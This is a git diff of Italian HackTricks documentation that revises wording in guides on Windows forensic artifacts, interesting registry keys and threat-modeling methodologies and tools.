a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,7 +1,5 @@ # Windows Artifacts -## Windows Artifacts - {{#include ../../../banners/hacktricks-training.md}} ## Generic Windows Artifacts @@ -14,41 +12,41 @@ All'interno di questo database SQLite, puoi trovare la tabella `Notification` co ### Timeline -Timeline è una caratteristica di Windows che fornisce **storia cronologica** delle pagine web visitate, documenti modificati e applicazioni eseguite. +La Timeline è una caratteristica di Windows che fornisce **una cronologia cronologica** delle pagine web visitate, dei documenti modificati e delle applicazioni eseguite. Il database si trova nel percorso `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Questo database può essere aperto con uno strumento SQLite o con lo strumento [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **che genera 2 file che possono essere aperti con lo strumento** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). ### ADS (Alternate Data Streams) -I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come** è stato **scaricato** dalla intranet, internet, ecc. Alcuni software (come i browser) di solito aggiungono anche **ulteriori** **informazioni** come l'**URL** da cui il file è stato scaricato. +I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come** è stato **scaricato** dall'intranet, internet, ecc. Alcuni software (come i browser) di solito aggiungono anche **ulteriori** **informazioni** come l'**URL** da cui è stato scaricato il file. ## **File Backups** ### Recycle Bin In Vista/Win7/Win8/Win10 il **Recycle Bin** può essere trovato nella cartella **`$Recycle.bin`** nella radice dell'unità (`C:\$Recycle.bin`).\ -Quando un file viene eliminato in questa cartella vengono creati 2 file specifici: +Quando un file viene eliminato in questa cartella, vengono creati 2 file specifici: - `$I{id}`: Informazioni sul file (data di quando è stato eliminato) - `$R{id}`: Contenuto del file ![](<../../../images/image (1029).png>) -Avendo questi file puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10). +Avendo questi file, puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### Copie Shadow del Volume -Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso. +La Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso. Questi backup si trovano solitamente in `\System Volume Information` dalla radice del file system e il nome è composto da **UID** mostrati nell'immagine seguente: ![](<../../../images/image (94).png>) -Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una shadow copy e persino **estrarre i file** dai backup delle shadow copy. +Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una copia shadow e persino **estrarre i file** dai backup delle copie shadow. ![](<../../../images/image (576).png>) @@ -56,17 +54,17 @@ L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Backup ![](<../../../images/image (254).png>) -Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sui `Volume Shadow Copies`. +Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sulle `Volume Shadow Copies`. -### Office AutoSaved Files +### File AutoSalvati di Office -Puoi trovare i file autosalvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Puoi trovare i file auto salvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Elementi Shell Un elemento shell è un elemento che contiene informazioni su come accedere a un altro file. -### Recent Documents (LNK) +### Documenti Recenti (LNK) Windows **crea automaticamente** questi **collegamenti** quando l'utente **apre, utilizza o crea un file** in: @@ -77,7 +75,7 @@ Quando viene creata una cartella, viene creato anche un collegamento alla cartel Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se si tratta di un **file** **o** di una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** di dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi. -Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato. +Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato per la prima volta** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato. Per ispezionare questi file puoi utilizzare [**LinkParser**](http://4discovery.com/our-tools/). @@ -108,7 +106,7 @@ I **jumplists** creati automaticamente sono memorizzati in `C:\Users\{username}\ I jumplists personalizzati sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e vengono creati dall'applicazione solitamente perché è successo qualcosa di **importante** con il file (forse contrassegnato come preferito). -Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta che il file è stato accesso** e il **tempo modificato l'ultima volta**. +Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta che il file è stato accesso** e il **tempo di modifica l'ultima volta**. Puoi ispezionare i jumplists utilizzando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). @@ -132,7 +130,7 @@ Nota che alcuni file LNK invece di puntare al percorso originale, puntano alla c ![](<../../../images/image (218).png>) -I file nella cartella WPDNSE sono una copia degli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag. +I file nella cartella WPDNSE sono una copia di quelli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag. ### Informazioni sul Registro @@ -142,7 +140,7 @@ I file nella cartella WPDNSE sono una copia degli originali, quindi non sopravvi Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata effettuata la connessione USB (cerca `Section start`). -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective @@ -152,13 +150,13 @@ Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su ### Pulizia Plug and Play -Il compito programmato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione di versioni di driver obsolete. Contrariamente al suo scopo specificato di mantenere l'ultima versione del pacchetto driver, fonti online suggeriscono che miri anche a driver che sono stati inattivi per 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non connessi negli ultimi 30 giorni potrebbero essere soggetti a cancellazione. +Il compito pianificato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione di versioni di driver obsolete. Contrariamente al suo scopo specificato di mantenere l'ultima versione del pacchetto driver, fonti online suggeriscono che miri anche a driver che sono stati inattivi per 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non connessi negli ultimi 30 giorni potrebbero essere soggetti a cancellazione. Il compito si trova al seguente percorso: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. Uno screenshot che mostra il contenuto del compito è fornito: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Componenti chiave e impostazioni del compito:** +**Componenti e impostazioni chiave del compito:** - **pnpclean.dll**: Questo DLL è responsabile del processo di pulizia effettivo. - **UseUnifiedSchedulingEngine**: Impostato su `TRUE`, indica l'uso del motore di pianificazione dei compiti generico. @@ -227,16 +225,16 @@ Allegati persi potrebbero essere recuperabili da: ### Miniature delle Immagini - **Windows XP e 8-8.1**: Accedere a una cartella con miniature genera un file `thumbs.db` che memorizza le anteprime delle immagini, anche dopo la cancellazione. -- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite una rete tramite percorso UNC. +- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite rete tramite percorso UNC. - **Windows Vista e versioni successive**: Le anteprime delle miniature sono centralizzate in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con file denominati **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sono strumenti per visualizzare questi file. ### Informazioni sul Registro di Windows Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di sistema e utente, è contenuto all'interno di file in: -- `%windir%\System32\Config` per vari sottochiavi `HKEY_LOCAL_MACHINE`. +- `%windir%\System32\Config` per vari sottochiavi di `HKEY_LOCAL_MACHINE`. - `%UserProfile%{User}\NTUSER.DAT` per `HKEY_CURRENT_USER`. -- Windows Vista e versioni successive eseguono il backup dei file di registro `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`. +- Windows Vista e versioni successive eseguono il backup dei file di registro di `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`. - Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partire da Windows Vista e Windows 2008 Server. ### Strumenti @@ -244,13 +242,13 @@ Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di Alcuni strumenti sono utili per analizzare i file di registro: - **Editor del Registro**: È installato in Windows. È un'interfaccia grafica per navigare attraverso il registro di Windows della sessione corrente. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano le chiavi con informazioni interessanti. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano chiavi con informazioni interessanti. - [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ancora, ha un'interfaccia grafica che consente di navigare attraverso il registro caricato e contiene anche plugin che evidenziano informazioni interessanti all'interno del registro caricato. - [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione GUI in grado di estrarre le informazioni importanti dal registro caricato. ### Recupero di Elementi Cancellati -Quando una chiave viene eliminata, viene contrassegnata come tale, ma fino a quando lo spazio che occupa non è necessario, non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer** è possibile recuperare queste chiavi eliminate. +Quando una chiave viene eliminata, è contrassegnata come tale, ma finché lo spazio che occupa non è necessario, non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer** è possibile recuperare queste chiavi eliminate. ### Ultimo Tempo di Scrittura @@ -276,17 +274,17 @@ In [questo post](https://jonahacks.medium.com/investigating-common-windows-proce ### APP Recenti di Windows -All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **ultima volta** che è stata eseguita e **numero di volte** che è stata avviata. +All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **l'ultima volta** che è stata eseguita e **il numero di volte** che è stata avviata. ### BAM (Moderatore di Attività in Background) Puoi aprire il file `SYSTEM` con un editor di registro e all'interno del percorso `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puoi trovare informazioni sulle **applicazioni eseguite da ciascun utente** (nota il `{SID}` nel percorso) e **a che ora** sono state eseguite (l'ora è all'interno del valore Data del registro). -### Prefetch di Windows +### Windows Prefetch Il prefetching è una tecnica che consente a un computer di **recuperare silenziosamente le risorse necessarie per visualizzare contenuti** a cui un utente **potrebbe accedere nel prossimo futuro** in modo che le risorse possano essere accessibili più rapidamente. -Il prefetch di Windows consiste nella creazione di **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10. +Il prefetch di Windows consiste nel creare **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10. Il nome del file è creato come `{program_name}-{hash}.pf` (l'hash è basato sul percorso e sugli argomenti dell'eseguibile). In W10 questi file sono compressi. Nota che la sola presenza del file indica che **il programma è stato eseguito** a un certo punto. @@ -396,7 +394,7 @@ Le informazioni che appaiono all'interno degli eventi di Windows sono: I log si trovano in `C:\Windows\System32\config` prima di Windows Vista e in `C:\Windows\System32\winevt\Logs` dopo Windows Vista. Prima di Windows Vista, i log degli eventi erano in formato binario e dopo sono in **formato XML** e utilizzano l'estensione **.evtx**. -La posizione dei file di evento può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +La posizione dei file di eventi può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** Possono essere visualizzati dal Visualizzatore eventi di Windows (**`eventvwr.msc`**) o con altri strumenti come [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** @@ -430,7 +428,7 @@ Gli eventi di accesso sono registrati nel file di configurazione della sicurezza - **0xC0000064**: Il nome utente non esiste - Potrebbe indicare un attacco di enumerazione degli username. - **0xC000006A**: Nome utente corretto ma password errata - Possibile tentativo di indovinare la password o attacco brute-force. -- **0xC0000234**: Account utente bloccato - Può seguire un attacco brute-force che ha portato a più accessi falliti. +- **0xC0000234**: Account utente bloccato - Può seguire un attacco brute-force con più accessi falliti. - **0xC0000072**: Account disabilitato - Tentativi non autorizzati di accedere a account disabilitati. - **0xC000006F**: Accesso al di fuori dell'orario consentito - Indica tentativi di accesso al di fuori delle ore di accesso impostate, un possibile segno di accesso non autorizzato. - **0xC0000070**: Violazione delle restrizioni della workstation - Potrebbe essere un tentativo di accesso da una posizione non autorizzata. @@ -465,11 +463,11 @@ I dettagli degli eventi, inclusi i codici di stato e sottostato, forniscono ulte ### Recovering Windows Events -Per aumentare le possibilità di recuperare eventi di Windows eliminati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi. +Per aumentare le possibilità di recuperare eventi di Windows cancellati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi. ### Identifying Common Attacks via Windows Events -Per una guida completa su come utilizzare gli ID evento di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Per una guida completa sull'utilizzo degli ID eventi di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/). #### Brute Force Attacks @@ -481,7 +479,7 @@ Registrato da EventID 4616, i cambiamenti all'ora di sistema possono complicare #### USB Device Tracking -EventIDs di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento. +Gli ID eventi di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento. #### System Power Events diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 9861b0423..c4f1feefe 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,7 +1,5 @@ # Chiavi di Registro di Windows Interessanti -### Chiavi di Registro di Windows Interessanti - {{#include ../../../banners/hacktricks-training.md}} ### **Informazioni sulla Versione di Windows e Proprietario** @@ -18,7 +16,7 @@ ### **Tracciamento del Tempo di Accesso** -- Per impostazione predefinita, il tracciamento dell'ultimo tempo di accesso è disattivato (**`NtfsDisableLastAccessUpdate=1`**). Per abilitarlo, usa: +- Per impostazione predefinita, il tracciamento dell'ultimo accesso è disattivato (**`NtfsDisableLastAccessUpdate=1`**). Per abilitarlo, usa: `fsutil behavior set disablelastaccess 0` ### Versioni di Windows e Service Pack @@ -27,11 +25,11 @@ ### Abilitazione del Tempo di Accesso -- Abilitare il tracciamento dell'ultimo tempo di accesso consente di vedere quando i file sono stati aperti per l'ultima volta, il che può essere fondamentale per l'analisi forense o il monitoraggio del sistema. +- Abilitare il tracciamento dell'ultimo accesso consente di vedere quando i file sono stati aperti l'ultima volta, il che può essere fondamentale per l'analisi forense o il monitoraggio del sistema. ### Dettagli sulle Informazioni di Rete -- Il registro contiene dati estesi sulle configurazioni di rete, inclusi **tipi di reti (wireless, cavo, 3G)** e **categorie di rete (Pubblica, Privata/Casa, Dominio/Lavoro)**, che sono vitali per comprendere le impostazioni di sicurezza della rete e i permessi. +- Il registro contiene dati estesi sulle configurazioni di rete, inclusi **tipi di reti (wireless, cavo, 3G)** e **categorie di rete (Pubblica, Privata/Home, Dominio/Lavoro)**, che sono vitali per comprendere le impostazioni di sicurezza della rete e i permessi. ### Caching Lato Client (CSC) @@ -43,7 +41,7 @@ ### Shellbags -- **Shellbags** non solo memorizzano le preferenze per le visualizzazioni delle cartelle, ma forniscono anche prove forensi di accesso alle cartelle anche se la cartella non esiste più. Sono inestimabili per le indagini, rivelando l'attività dell'utente che non è ovvia attraverso altri mezzi. +- I **Shellbags** non solo memorizzano le preferenze per le visualizzazioni delle cartelle, ma forniscono anche prove forensi di accesso alle cartelle anche se la cartella non esiste più. Sono inestimabili per le indagini, rivelando attività dell'utente che non sono ovvie attraverso altri mezzi. ### Informazioni e Forense USB @@ -51,7 +49,7 @@ ### Numero di Serie del Volume -- Il **Numero di Serie del Volume** può essere cruciale per tracciare l'istanza specifica di un file system, utile in scenari forensi in cui è necessario stabilire l'origine del file su diversi dispositivi. +- Il **Numero di Serie del Volume** può essere cruciale per tracciare l'istanza specifica di un file system, utile in scenari forensi in cui è necessario stabilire l'origine di un file su diversi dispositivi. ### **Dettagli di Spegnimento** @@ -64,11 +62,11 @@ ### **Cartelle Condivise** -- Le cartelle condivise e le impostazioni si trovano in **`System\ControlSet001\Services\lanmanserver\Shares`**. Le impostazioni di Caching Lato Client (CSC) determinano la disponibilità dei file offline. +- Le cartelle condivise e le impostazioni si trovano sotto **`System\ControlSet001\Services\lanmanserver\Shares`**. Le impostazioni di Caching Lato Client (CSC) determinano la disponibilità dei file offline. ### **Programmi che Si Avviano Automaticamente** -- Percorsi come **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e voci simili sotto `Software\Microsoft\Windows\CurrentVersion` dettagliano i programmi impostati per avviarsi all'avvio. +- Percorsi come **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e voci simili sotto `Software\Microsoft\Windows\CurrentVersion` dettagliano i programmi impostati per essere eseguiti all'avvio. ### **Ricerche e Percorsi Digitati** @@ -78,17 +76,17 @@ - I documenti recenti e i file di Office accessibili sono annotati in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` e percorsi specifici della versione di Office. -### **Elementi Utilizzati di Recente (MRU)** +### **Elementi Più Recentemente Utilizzati (MRU)** - Le liste MRU, che indicano i percorsi e i comandi dei file recenti, sono memorizzate in varie sottochiavi `ComDlg32` e `Explorer` sotto `NTUSER.DAT`. ### **Tracciamento dell'Attività Utente** -- La funzione User Assist registra statistiche dettagliate sull'uso delle applicazioni, inclusi il conteggio delle esecuzioni e l'ora dell'ultima esecuzione, in **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- La funzione User Assist registra statistiche dettagliate sull'uso delle applicazioni, inclusi conteggio delle esecuzioni e orario dell'ultima esecuzione, in **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. -### **Analisi delle Shellbags** +### **Analisi dei Shellbags** -- Le shellbags, che rivelano dettagli sull'accesso alle cartelle, sono memorizzate in `USRCLASS.DAT` e `NTUSER.DAT` sotto `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** per l'analisi. +- I Shellbags, che rivelano dettagli sull'accesso alle cartelle, sono memorizzati in `USRCLASS.DAT` e `NTUSER.DAT` sotto `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** per l'analisi. ### **Storia dei Dispositivi USB** @@ -96,6 +94,6 @@ - L'utente associato a un dispositivo USB specifico può essere individuato cercando nei registri `NTUSER.DAT` per il **{GUID}** del dispositivo. - L'ultimo dispositivo montato e il suo numero di serie del volume possono essere tracciati attraverso `System\MountedDevices` e `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, rispettivamente. -Questa guida riassume i percorsi e i metodi cruciali per accedere a informazioni dettagliate su sistema, rete e attività utente sui sistemi Windows, puntando alla chiarezza e all'usabilità. +Questa guida riassume i percorsi e i metodi cruciali per accedere a informazioni dettagliate sul sistema, sulla rete e sull'attività dell'utente sui sistemi Windows, puntando alla chiarezza e all'usabilità. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md index e0b1f4d56..af98312c7 100644 --- a/src/generic-methodologies-and-resources/threat-modeling.md +++ b/src/generic-methodologies-and-resources/threat-modeling.md @@ -1,29 +1,31 @@ -# Modello di Minaccia +# Threat Modeling -## Modello di Minaccia +{{#include /banners/hacktricks-training.md}} -Benvenuto nella guida completa di HackTricks sul Modello di Minaccia! Inizia un'esplorazione di questo aspetto critico della cybersecurity, dove identifichiamo, comprendiamo e strategizziamo contro potenziali vulnerabilità in un sistema. Questo thread funge da guida passo-passo ricca di esempi del mondo reale, software utili e spiegazioni facili da comprendere. Ideale sia per i principianti che per i professionisti esperti che cercano di rafforzare le loro difese informatiche. +## Threat Modeling -### Scenari Comunemente Utilizzati +Benvenuto nella guida completa di HackTricks sul Threat Modeling! Inizia un'esplorazione di questo aspetto critico della cybersecurity, dove identifichiamo, comprendiamo e strategizziamo contro potenziali vulnerabilità in un sistema. Questo thread funge da guida passo-passo ricca di esempi del mondo reale, software utili e spiegazioni facili da comprendere. Ideale sia per i principianti che per i professionisti esperti che cercano di rafforzare le loro difese di cybersecurity. -1. **Sviluppo Software**: Come parte del Ciclo di Vita dello Sviluppo Software Sicuro (SSDLC), il modello di minaccia aiuta a **identificare le potenziali fonti di vulnerabilità** nelle fasi iniziali dello sviluppo. -2. **Penetration Testing**: Il framework del Penetration Testing Execution Standard (PTES) richiede **il modello di minaccia per comprendere le vulnerabilità del sistema** prima di eseguire il test. +### Commonly Used Scenarios -### Modello di Minaccia in Breve +1. **Sviluppo Software**: Come parte del Ciclo di Vita dello Sviluppo Software Sicuro (SSDLC), il threat modeling aiuta a **identificare potenziali fonti di vulnerabilità** nelle fasi iniziali dello sviluppo. +2. **Penetration Testing**: Il framework del Penetration Testing Execution Standard (PTES) richiede **il threat modeling per comprendere le vulnerabilità del sistema** prima di eseguire il test. -Un Modello di Minaccia è tipicamente rappresentato come un diagramma, un'immagine o un'altra forma di illustrazione visiva che descrive l'architettura pianificata o la costruzione esistente di un'applicazione. Assomiglia a un **diagramma di flusso dei dati**, ma la principale distinzione risiede nel suo design orientato alla sicurezza. +### Threat Model in a Nutshell -I modelli di minaccia presentano spesso elementi contrassegnati in rosso, che simboleggiano potenziali vulnerabilità, rischi o barriere. Per semplificare il processo di identificazione dei rischi, viene impiegato il triade CIA (Riservatezza, Integrità, Disponibilità), che forma la base di molte metodologie di modellazione delle minacce, con STRIDE che è una delle più comuni. Tuttavia, la metodologia scelta può variare a seconda del contesto specifico e dei requisiti. +Un Threat Model è tipicamente rappresentato come un diagramma, un'immagine o un'altra forma di illustrazione visiva che descrive l'architettura pianificata o la costruzione esistente di un'applicazione. Somiglia a un **diagramma di flusso dei dati**, ma la principale distinzione risiede nel suo design orientato alla sicurezza. -### La Triade CIA +I threat model presentano spesso elementi contrassegnati in rosso, che simboleggiano potenziali vulnerabilità, rischi o barriere. Per semplificare il processo di identificazione dei rischi, viene impiegato il triade CIA (Confidenzialità, Integrità, Disponibilità), che forma la base di molte metodologie di threat modeling, con STRIDE che è una delle più comuni. Tuttavia, la metodologia scelta può variare a seconda del contesto specifico e dei requisiti. -La Triade CIA è un modello ampiamente riconosciuto nel campo della sicurezza delle informazioni, che sta per Riservatezza, Integrità e Disponibilità. Questi tre pilastri formano la base su cui sono costruite molte misure e politiche di sicurezza, comprese le metodologie di modellazione delle minacce. +### The CIA Triad -1. **Riservatezza**: Garantire che i dati o il sistema non siano accessibili da individui non autorizzati. Questo è un aspetto centrale della sicurezza, che richiede controlli di accesso appropriati, crittografia e altre misure per prevenire le violazioni dei dati. +La triade CIA è un modello ampiamente riconosciuto nel campo della sicurezza delle informazioni, che sta per Confidenzialità, Integrità e Disponibilità. Questi tre pilastri formano la base su cui sono costruite molte misure e politiche di sicurezza, comprese le metodologie di threat modeling. + +1. **Confidenzialità**: Garantire che i dati o il sistema non siano accessibili da parte di individui non autorizzati. Questo è un aspetto centrale della sicurezza, che richiede controlli di accesso appropriati, crittografia e altre misure per prevenire le violazioni dei dati. 2. **Integrità**: L'accuratezza, la coerenza e l'affidabilità dei dati nel loro ciclo di vita. Questo principio garantisce che i dati non vengano alterati o manomessi da parti non autorizzate. Spesso coinvolge checksum, hashing e altri metodi di verifica dei dati. 3. **Disponibilità**: Questo garantisce che i dati e i servizi siano accessibili agli utenti autorizzati quando necessario. Questo spesso implica ridondanza, tolleranza ai guasti e configurazioni ad alta disponibilità per mantenere i sistemi operativi anche di fronte a interruzioni. -### Metodologie di Modellazione delle Minacce +### Threat Modeling Methodlogies 1. **STRIDE**: Sviluppato da Microsoft, STRIDE è un acronimo per **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Ogni categoria rappresenta un tipo di minaccia, e questa metodologia è comunemente utilizzata nella fase di design di un programma o sistema per identificare potenziali minacce. 2. **DREAD**: Questa è un'altra metodologia di Microsoft utilizzata per la valutazione del rischio delle minacce identificate. DREAD sta per **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Ognuno di questi fattori viene valutato, e il risultato viene utilizzato per dare priorità alle minacce identificate. @@ -32,15 +34,15 @@ La Triade CIA è un modello ampiamente riconosciuto nel campo della sicurezza de 5. **VAST** (Visual, Agile, and Simple Threat modeling): Questo approccio mira a essere più accessibile e si integra negli ambienti di sviluppo Agile. Combina elementi delle altre metodologie e si concentra su **rappresentazioni visive delle minacce**. 6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Sviluppato dal CERT Coordination Center, questo framework è orientato verso **la valutazione del rischio organizzativo piuttosto che sistemi o software specifici**. -## Strumenti +## Tools -Ci sono diversi strumenti e soluzioni software disponibili che possono **assistere** nella creazione e gestione dei modelli di minaccia. Ecco alcuni che potresti considerare. +Ci sono diversi strumenti e soluzioni software disponibili che possono **assistere** nella creazione e gestione dei threat model. Ecco alcuni che potresti considerare. ### [SpiderSuite](https://github.com/3nock/SpiderSuite) Un avanzato spider/crawler GUI multipiattaforma e multifunzionale per professionisti della cybersecurity. Spider Suite può essere utilizzato per la mappatura e l'analisi della superficie di attacco. -**Utilizzo** +**Usage** 1. Scegli un URL e Crawla @@ -54,7 +56,7 @@ Un avanzato spider/crawler GUI multipiattaforma e multifunzionale per profession Un progetto open-source di OWASP, Threat Dragon è sia un'applicazione web che desktop che include diagrammi di sistema e un motore di regole per generare automaticamente minacce/mitigazioni. -**Utilizzo** +**Usage** 1. Crea Nuovo Progetto @@ -68,7 +70,7 @@ A volte potrebbe apparire così:
-3. Salva il Nuovo Progetto +3. Salva Il Nuovo Progetto
@@ -84,7 +86,7 @@ Solo un po' di spiegazione sulle entità: - Attore (Una persona come un visitatore del sito, utente o amministratore) - Linea di Flusso Dati (Indicatore di interazione) - Confine di Fiducia (Segmenti o ambiti di rete diversi.) -- Archiviazione (Luoghi dove i dati sono memorizzati come Database) +- Archiviazione (Luoghi dove i dati sono archiviati come Database) 5. Crea una Minaccia (Passo 1) @@ -96,16 +98,19 @@ Ora puoi creare la minaccia
